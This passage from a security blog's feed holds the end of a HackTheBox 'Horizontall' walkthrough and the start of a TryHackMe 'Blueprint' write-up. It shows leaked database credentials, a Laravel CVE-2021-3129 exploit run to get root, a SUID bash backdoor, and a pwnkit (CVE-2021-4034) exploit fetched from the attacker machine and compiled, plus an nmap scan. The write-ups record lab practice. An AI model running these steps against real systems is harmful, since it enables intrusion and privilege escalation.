<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ searchsploit linux kernel 4.15.0                                                                                                                                                                                                    <span style="color:#ae81ff">130</span> ⨯
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                                                                                                                                              |  Path
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span>Linux Kernel <span style="color:#f92672">(</span>Solaris <span style="color:#ae81ff">10</span> / &lt; 5.10 138888-01<span style="color:#f92672">)</span> - Local Privilege Escalation                                                                                                                                   | solaris/local/15962.c
</span></span><span style="display:flex;"><span>Linux Kernel 2.4/2.6 <span style="color:#f92672">(</span>RedHat Linux <span style="color:#ae81ff">9</span> / Fedora Core <span style="color:#ae81ff">4</span> &lt; <span style="color:#ae81ff">11</span> / Whitebox <span style="color:#ae81ff">4</span> / CentOS 4<span style="color:#f92672">)</span> - <span style="color:#e6db74">&#39;sock_sendpage()&#39;</span> Ring0 Privilege Escalation <span style="color:#f92672">(</span>5<span style="color:#f92672">)</span>                                                                       | linux/local/9479.c
</span></span><span style="display:flex;"><span>Linux Kernel 2.6.19 &lt; 5.9 - <span style="color:#e6db74">&#39;Netfilter Local Privilege Escalation                                                                                                                                           | linux/local/50135.c
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Linux Kernel 4.10 &lt; 5.1.17 - &#39;</span>PTRACE_TRACEME<span style="color:#e6db74">&#39; pkexec Local Privilege Escalation                                                                                                                             | linux/local/47163.c
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Linux Kernel 4.15.x &lt; 4.19.2 - &#39;</span>map_write<span style="color:#f92672">()</span> CAP_SYS_ADMIN<span style="color:#e6db74">&#39; Local Privilege Escalation (cron Method)                                                                                                         | linux/local/47164.sh
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Linux Kernel 4.15.x &lt; 4.19.2 - &#39;</span>map_write<span style="color:#f92672">()</span> CAP_SYS_ADMIN<span style="color:#e6db74">&#39; Local Privilege Escalation (dbus Method)                                                                                                         | linux/local/47165.sh
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Linux Kernel 4.15.x &lt; 4.19.2 - &#39;</span>map_write<span style="color:#f92672">()</span> CAP_SYS_ADMIN<span style="color:#e6db74">&#39; Local Privilege Escalation (ldpreload Method)                                                                                                    | linux/local/47166.sh
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Linux Kernel 4.15.x &lt; 4.19.2 - &#39;</span>map_write<span style="color:#f92672">()</span> CAP_SYS_ADMIN<span style="color:#e6db74">&#39; Local Privilege Escalation (polkit Method)                                                                                                       | linux/local/47167.sh
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Linux Kernel 4.8.0 UDEV &lt; 232 - Local Privilege Escalation                                                                                                                                                  | linux/local/41886.c
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Linux Kernel &lt; 4.15.4 - &#39;</span>show_floppy<span style="color:#e6db74">&#39; KASLR Address Leak                                                                                                                                                    | linux/local/44325.c
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Linux Kernel &lt; 4.16.11 - &#39;</span>ext4_read_inline_data<span style="color:#f92672">()</span><span style="color:#e6db74">&#39; Memory Corruption                                                                                                                                        | linux/dos/44832.txt
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Linux Kernel &lt; 4.17-rc1 - &#39;</span>AF_LLC<span style="color:#960050;background-color:#1e0010">&#39;</span> Double Free                                                                                                                                                              | linux/dos/44579.c
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Results
</span></span></code></pre></div><p>After wasting an hour of mine to &ldquo;trial and error&rdquo; most of those exploits, I came to a painful conclusion that these are no use in this case.</p>
<h2 id="v-real-privilege-escalation---if-only">V. Real privilege escalation - if only</h2>
<p>Things got back to their right tracks after I crawled out of that rabbit hole. At least, that&rsquo;s what I want to say, but no.</p>
<p>It all started from this list of opening ports:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ss -lntup
</span></span><span style="display:flex;"><span>Netid  State    Recv-Q   Send-Q      Local Address:Port     Peer Address:Port                                                                                   
</span></span><span style="display:flex;"><span>tcp    LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">128</span>             127.0.0.1:8000          0.0.0.0:*                                                                                      
</span></span><span style="display:flex;"><span>tcp    LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">80</span>              127.0.0.1:3306          0.0.0.0:*                                                                                      
</span></span><span style="display:flex;"><span>tcp    LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">128</span>               0.0.0.0:80            0.0.0.0:*                                                                                      
</span></span><span style="display:flex;"><span>tcp    LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">128</span>               0.0.0.0:22            0.0.0.0:*                                                                                      
</span></span><span style="display:flex;"><span>tcp    LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">128</span>             127.0.0.1:1337          0.0.0.0:*       users:<span style="color:#f92672">((</span><span style="color:#e6db74">&#34;node&#34;</span>,pid<span style="color:#f92672">=</span>1750,fd<span style="color:#f92672">=</span>31<span style="color:#f92672">))</span>                                                
</span></span><span style="display:flex;"><span>tcp    LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">128</span>                  <span style="color:#f92672">[</span>::<span style="color:#f92672">]</span>:80               <span style="color:#f92672">[</span>::<span style="color:#f92672">]</span>:*                                                                                      
</span></span><span style="display:flex;"><span>tcp    LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">128</span>                  <span style="color:#f92672">[</span>::<span style="color:#f92672">]</span>:22               <span style="color:#f92672">[</span>::<span style="color:#f92672">]</span>:*  
</span></span></code></pre></div><p>In my opinion, that <code>1337</code> port seems extremely suspicious. However, after a bit of SSH tunneling, I realized that it was only the API endpoint that we discovered earlier.</p>
<p>On the other hand, that port <code>3306</code> was the real culprit.</p>
<p>Here is another very useful command that turned out to be a menace this time:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ grep -Rnw -e <span style="color:#e6db74">&#34;password&#34;</span>
</span></span><span style="display:flex;"><span>environments/production/database.json:13:        <span style="color:#e6db74">&#34;password&#34;</span>: <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>process.env.DATABASE_PASSWORD || <span style="color:#e6db74">&#39;&#39;</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>,
</span></span><span style="display:flex;"><span>environments/development/database.json:12:        <span style="color:#e6db74">&#34;password&#34;</span>: <span style="color:#e6db74">&#34;#J!:F9Zt2u&#34;</span>
</span></span><span style="display:flex;"><span>environments/staging/database.json:13:        <span style="color:#e6db74">&#34;password&#34;</span>: <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>process.env.DATABASE_PASSWORD || <span style="color:#e6db74">&#39;&#39;</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>,
</span></span></code></pre></div><p>Without a second thought, I instantly <code>cat</code> out that <code>development/database.json</code> file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;defaultConnection&#34;</span>: <span style="color:#e6db74">&#34;default&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;connections&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;default&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;connector&#34;</span>: <span style="color:#e6db74">&#34;strapi-hook-bookshelf&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;settings&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;client&#34;</span>: <span style="color:#e6db74">&#34;mysql&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;database&#34;</span>: <span style="color:#e6db74">&#34;strapi&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;host&#34;</span>: <span style="color:#e6db74">&#34;127.0.0.1&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;port&#34;</span>: 3306,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;username&#34;</span>: <span style="color:#e6db74">&#34;developer&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;password&#34;</span>: <span style="color:#e6db74">&#34;#J!:F9Zt2u&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;options&#34;</span>: <span style="color:#f92672">{}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Little did I know, all these very legit credentials are traps. I happily connected to the database, browsing around a bit, and eventually got something really promising.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ mysql -h 127.0.0.1 -P <span style="color:#ae81ff">3306</span> -u developer -p strapi --password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#J!:F9Zt2u&#34;</span> -e <span style="color:#e6db74">&#34;SELECT * FROM strapi_administrator&#34;</span>
</span></span><span style="display:flex;"><span>mysql: <span style="color:#f92672">[</span>Warning<span style="color:#f92672">]</span> Using a password on the command line interface can be insecure.
</span></span><span style="display:flex;"><span>id      username        email   password        resetPasswordToken      blocked
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">3</span>       admin   admin@horizontall.htb   $2a$10$Z/5DNUBoQeb0hOBmD3mlous9fju9gK3FEGOVKoe.XRw4TNCTgjqu.    NULL    NULL
</span></span></code></pre></div><p>I went through hell to crack that password, only to belatedly realize that the hash was notoriously hard to brute force due to its high hashing time. Nevertheless, I managed to crack it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>admin	SuperStrongPassword1
</span></span></code></pre></div><p>Why does this password sounds peculiarly familiar&hellip;</p>
<p>A flashback suddenly dawned on me - it was the dummy <code>admin</code> account that our <code>strapi</code> exploit script made from start! All those work, were in vain&hellip; What a memorable experience.</p>
<h2 id="vi-real-privilege-escalation">VI. Real privilege escalation</h2>
<p>There still is another strange opening port - port <code>8000</code>. After another bit of port forwarding:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh -i key/id_rsa -L 9999:127.0.0.1:8000 strapi@horizontall.htb
</span></span></code></pre></div><p>Then access it through <code>localhost:9999</code>, we get a fresh <code>Laravel</code> page.

  <img src="/img/horizontall/laravel-docs.png#center" alt="">

</p>
<p>Notice this small line in the bottom right corner?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>Laravel v8 (PHP v7.4.18)
</span></span></code></pre></div><p>Several vulnerabilities were found in no time:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ searchsploit laravel <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------- ---------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                       |  Path
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------- ---------------------------------
</span></span><span style="display:flex;"><span>Aimeos Laravel ecommerce platform 2021.10 LTS - <span style="color:#e6db74">&#39;sort&#39;</span> SQL injection                 | php/webapps/50538.txt
</span></span><span style="display:flex;"><span>Laravel - <span style="color:#e6db74">&#39;Hash::make()&#39;</span> Password Truncation Security                                | multiple/remote/39318.txt
</span></span><span style="display:flex;"><span>Laravel 8.4.2 debug mode - Remote code execution                                     | php/webapps/49424.py
</span></span><span style="display:flex;"><span>Laravel Nova 3.7.0 - <span style="color:#e6db74">&#39;range&#39;</span> DoS                                                     | php/webapps/49198.txt
</span></span><span style="display:flex;"><span>PHP Laravel 8.70.1 - Cross Site Scripting <span style="color:#f92672">(</span>XSS<span style="color:#f92672">)</span> to Cross Site Request Forgery <span style="color:#f92672">(</span>CSRF<span style="color:#f92672">)</span> | php/webapps/50525.txt
</span></span><span style="display:flex;"><span>UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read                            | php/webapps/48166.txt
</span></span><span style="display:flex;"><span>UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload                   | php/webapps/46389.py
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------- ---------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Results
</span></span></code></pre></div><p>Mostly are <code>Python 3</code> exploits. We can do port forwarding, or directly load the exploit to the server. However, given that the server has Python3:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>strapi@horizontall:~$ python3 -V
</span></span><span style="display:flex;"><span>Python 3.6.9
</span></span></code></pre></div><p>The latter seems better. However&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>strapi<span style="color:#a6e22e">@horizontall</span>:<span style="color:#f92672">~</span><span style="color:#960050;background-color:#1e0010">$</span> python3 rt<span style="color:#f92672">.</span>py http:<span style="color:#f92672">//</span><span style="color:#ae81ff">127.0.0.1</span>:<span style="color:#ae81ff">8000</span> <span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>www<span style="color:#f92672">/</span>html<span style="color:#f92672">/</span>laravel<span style="color:#f92672">/</span>storage<span style="color:#f92672">/</span>logs<span style="color:#f92672">/</span>laravel<span style="color:#f92672">.</span>log <span style="color:#e6db74">&#39;whoami&#39;</span>                                                                                                                             
</span></span><span style="display:flex;"><span>                                                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span>Exploit<span style="color:#f92672">...</span>                                                                                                                                                                                                                                    
</span></span><span style="display:flex;"><span>Traceback (most recent call last):                                                                                                                                                                                                            
</span></span><span style="display:flex;"><span>  File <span style="color:#e6db74">&#34;/usr/lib/python3/dist-packages/urllib3/connectionpool.py&#34;</span>, line <span style="color:#ae81ff">601</span>, <span style="color:#f92672">in</span> urlopen                                                                                                                                                       
</span></span><span style="display:flex;"><span>    chunked<span style="color:#f92672">=</span>chunked)                                                                                                                                                                                                                          
</span></span><span style="display:flex;"><span>  File <span style="color:#e6db74">&#34;/usr/lib/python3/dist-packages/urllib3/connectionpool.py&#34;</span>, line <span style="color:#ae81ff">387</span>, <span style="color:#f92672">in</span> _make_request                                                                                                                                                 
</span></span><span style="display:flex;"><span>    six<span style="color:#f92672">.</span>raise_from(e, <span style="color:#66d9ef">None</span>)                                                                                                                                                                                                                   
</span></span><span style="display:flex;"><span>  File <span style="color:#e6db74">&#34;&lt;string&gt;&#34;</span>, line <span style="color:#ae81ff">3</span>, <span style="color:#f92672">in</span> raise_from                                                                                                                                                                                                      
</span></span><span style="display:flex;"><span>  File <span style="color:#e6db74">&#34;/usr/lib/python3/dist-packages/urllib3/connectionpool.py&#34;</span>, line <span style="color:#ae81ff">383</span>, <span style="color:#f92672">in</span> _make_request                                                                                                                                                 
</span></span><span style="display:flex;"><span>    httplib_response <span style="color:#f92672">=</span> conn<span style="color:#f92672">.</span>getresponse()                                                                                                                                                                                                     
</span></span><span style="display:flex;"><span>  File <span style="color:#e6db74">&#34;/usr/lib/python3.6/http/client.py&#34;</span>, line <span style="color:#ae81ff">1373</span>, <span style="color:#f92672">in</span> getresponse                                                                                                                                                                         
</span></span><span style="display:flex;"><span>    response<span style="color:#f92672">.</span>begin()                                                                                                                                                                                                                          
</span></span><span style="display:flex;"><span>  File <span style="color:#e6db74">&#34;/usr/lib/python3.6/http/client.py&#34;</span>, line <span style="color:#ae81ff">311</span>, <span style="color:#f92672">in</span> begin                                                                                                                                                                                
</span></span><span style="display:flex;"><span>    version, status, reason <span style="color:#f92672">=</span> self<span style="color:#f92672">.</span>_read_status()                                                                                                                                                                                             
</span></span><span style="display:flex;"><span>  File <span style="color:#e6db74">&#34;/usr/lib/python3.6/http/client.py&#34;</span>, line <span style="color:#ae81ff">280</span>, <span style="color:#f92672">in</span> _read_status                                                                                                                                                                         
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">raise</span> RemoteDisconnected(<span style="color:#e6db74">&#34;Remote end closed connection without&#34;</span>
</span></span><span style="display:flex;"><span>http<span style="color:#f92672">.</span>client<span style="color:#f92672">.</span>RemoteDisconnected: Remote end closed connection without response
</span></span></code></pre></div><p>&hellip; the exploit refused to work&hellip; And thus, a quick search led me to <a href="https://github.com/nth347/CVE-2021-3129_exploit">a year old Github repo</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>strapi@horizontall:~$ python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 id
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>i<span style="color:#f92672">]</span> Trying to clear logs
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Logs cleared
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PHPGGC found. Generating payload and deploy it to the target
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Successfully converted logs to PHAR
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PHAR deserialized. Exploited
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>i<span style="color:#f92672">]</span> Trying to clear logs
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Logs cleared
</span></span></code></pre></div><p>This time, it worked perfectly. Hence, dive into the real thing, let&rsquo;s copy <code>/bin/bash</code> to some other directory, change its owner and set SUID permission for it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>strapi@horizontall:~$ cp /bin/bash ~
</span></span><span style="display:flex;"><span>strapi@horizontall:~$ python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 <span style="color:#e6db74">&#34;chown root:root /opt/strapi/bash; chmod +s /opt/strapi/bash&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>i<span style="color:#f92672">]</span> Trying to clear logs
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Logs cleared
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PHPGGC found. Generating payload and deploy it to the target
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Successfully converted logs to PHAR
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>i<span style="color:#f92672">]</span> There is no output
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>i<span style="color:#f92672">]</span> Trying to clear logs
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Logs cleared
</span></span></code></pre></div><p>And just like that, we now have root access.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>strapi@horizontall:~$ ls
</span></span><span style="display:flex;"><span>bash  myapi
</span></span><span style="display:flex;"><span>strapi@horizontall:~$ ./bash -p
</span></span><span style="display:flex;"><span>bash-4.4# id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>strapi<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>strapi<span style="color:#f92672">)</span> euid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> egid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span>,1001<span style="color:#f92672">(</span>strapi<span style="color:#f92672">)</span>
</span></span></code></pre></div><h2 id="vii-extra">VII. Extra</h2>
<p>For the time of writing (nearly 5 months after the box release), there&rsquo;s another novel, safe and reliable method to get root access via <a href="https://github.com/berdav/CVE-2021-4034">CVE-2021-4034</a>. This is probably not intentional, but it worked nonetheless.</p>
<p>From our attacker machine:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip -O polkit.zip
</span></span></code></pre></div><p>Load that to server machine, <code>make</code> it there, and get root.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>strapi@horizontall:~$ wget http://10.10.16.13/polkit.zip
</span></span><span style="display:flex;"><span>--2022-02-03 12:55:45--  http://10.10.16.13/polkit.zip
</span></span><span style="display:flex;"><span>Connecting to 10.10.16.13:80... connected.
</span></span><span style="display:flex;"><span>HTTP request sent, awaiting response... l200 OK
</span></span><span style="display:flex;"><span>Length: <span style="color:#ae81ff">6457</span> <span style="color:#f92672">(</span>6.3K<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>application/zip<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Saving to: ‘polkit.zip’
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>polkit.zip                    100%<span style="color:#f92672">[===============================================</span>&gt;<span style="color:#f92672">]</span>   6.31K  --.-KB/s    in 0.04s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2022-02-03 12:55:45 <span style="color:#f92672">(</span><span style="color:#ae81ff">175</span> KB/s<span style="color:#f92672">)</span> - ‘polkit.zip’ saved <span style="color:#f92672">[</span>6457/6457<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>strapi@horizontall:~$ unzip polkit.zip
</span></span><span style="display:flex;"><span>Archive:  polkit.zip
</span></span><span style="display:flex;"><span>55d60e381ef90463ed35f47af44bf7e2fbc150d4
</span></span><span style="display:flex;"><span>   creating: CVE-2021-4034-main/
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/.gitignore
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/LICENSE
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/Makefile
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/README.md
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/cve-2021-4034.c
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/cve-2021-4034.sh
</span></span><span style="display:flex;"><span>   creating: CVE-2021-4034-main/dry-run/
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/dry-run/Makefile
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
</span></span><span style="display:flex;"><span>  inflating: CVE-2021-4034-main/pwnkit.c
</span></span><span style="display:flex;"><span>strapi@horizontall:~$ cd CVE-2021-4034-main/
</span></span><span style="display:flex;"><span>strapi@horizontall:~/CVE-2021-4034-main$ make
</span></span><span style="display:flex;"><span>cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
</span></span><span style="display:flex;"><span>cc -Wall    cve-2021-4034.c   -o cve-2021-4034
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;module UTF-8// PWNKIT// pwnkit 1&#34;</span> &gt; gconv-modules
</span></span><span style="display:flex;"><span>mkdir -p GCONV_PATH<span style="color:#f92672">=</span>.
</span></span><span style="display:flex;"><span>cp -f /bin/true GCONV_PATH<span style="color:#f92672">=</span>./pwnkit.so:.
</span></span><span style="display:flex;"><span>strapi@horizontall:~/CVE-2021-4034-main$ ls
</span></span><span style="display:flex;"><span> cve-2021-4034     cve-2021-4034.sh   gconv-modules   LICENSE    pwnkit.c    README.md
</span></span><span style="display:flex;"><span> cve-2021-4034.c   dry-run           <span style="color:#e6db74">&#39;GCONV_PATH=.&#39;</span>   Makefile   pwnkit.so
</span></span><span style="display:flex;"><span>strapi@horizontall:~/CVE-2021-4034-main$ ./cve-2021-4034
</span></span><span style="display:flex;"><span><span style="color:#75715e"># id</span>
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span>,1001<span style="color:#f92672">(</span>strapi<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Very simple and reliable.</p>
<h2 id="final-words">Final words</h2>
<p>And that&rsquo;s it. No special technique - this machine just runs slightly outdated softwares. The lesson can be drawn from this box is to think carefully before dive into rabbit holes and update your machine as soon as security patches come out!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Try Hack Me - Blueprint</title>
      <link>https://www.akihakune.com/blog/blueprint/</link>
      <pubDate>Tue, 25 Jan 2022 22:57:28 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/blueprint/</guid>
      <description>Write up for Try Hack Me&amp;rsquo;s Blueprint</description>
      <content:encoded><![CDATA[<p>Today&rsquo;s objective is a relatively easy box, <a href="https://tryhackme.com/room/blueprint">Blueprint from Try Hack Me</a>.</p>
<p>However, there&rsquo;s a major obstacle in completing this box - somehow it managed to randomly go offline whenever it felt like. Therefore, the whole experience was quite demoralizing, and after a few times witnessing my little reverse shell got killed out of the blue, I had no choice but to go for the easier path - Metasploit. (;-;)</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">And upon competing the box I made a new record :D <a href="https://t.co/SQ1oR936Ed">pic.twitter.com/SQ1oR936Ed</a></p>&mdash; Aki Hakune (@akihakune) <a href="https://twitter.com/akihakune/status/1484206341627727872?ref_src=twsrc%5Etfw">January 20, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>So, everything first started with a port scan.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Thu Jan 20 03:34:37 2022 as: nmap -sC -sV -oN nmap.txt 10.10.39.37</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.39.37
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.56s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">987</span> closed tcp ports <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE      VERSION
</span></span><span style="display:flex;"><span>80/tcp    open  http         Microsoft IIS httpd 7.5
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-IIS/7.5
</span></span><span style="display:flex;"><span>| http-methods: 
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-title: <span style="color:#ae81ff">404</span> - File or directory not found.
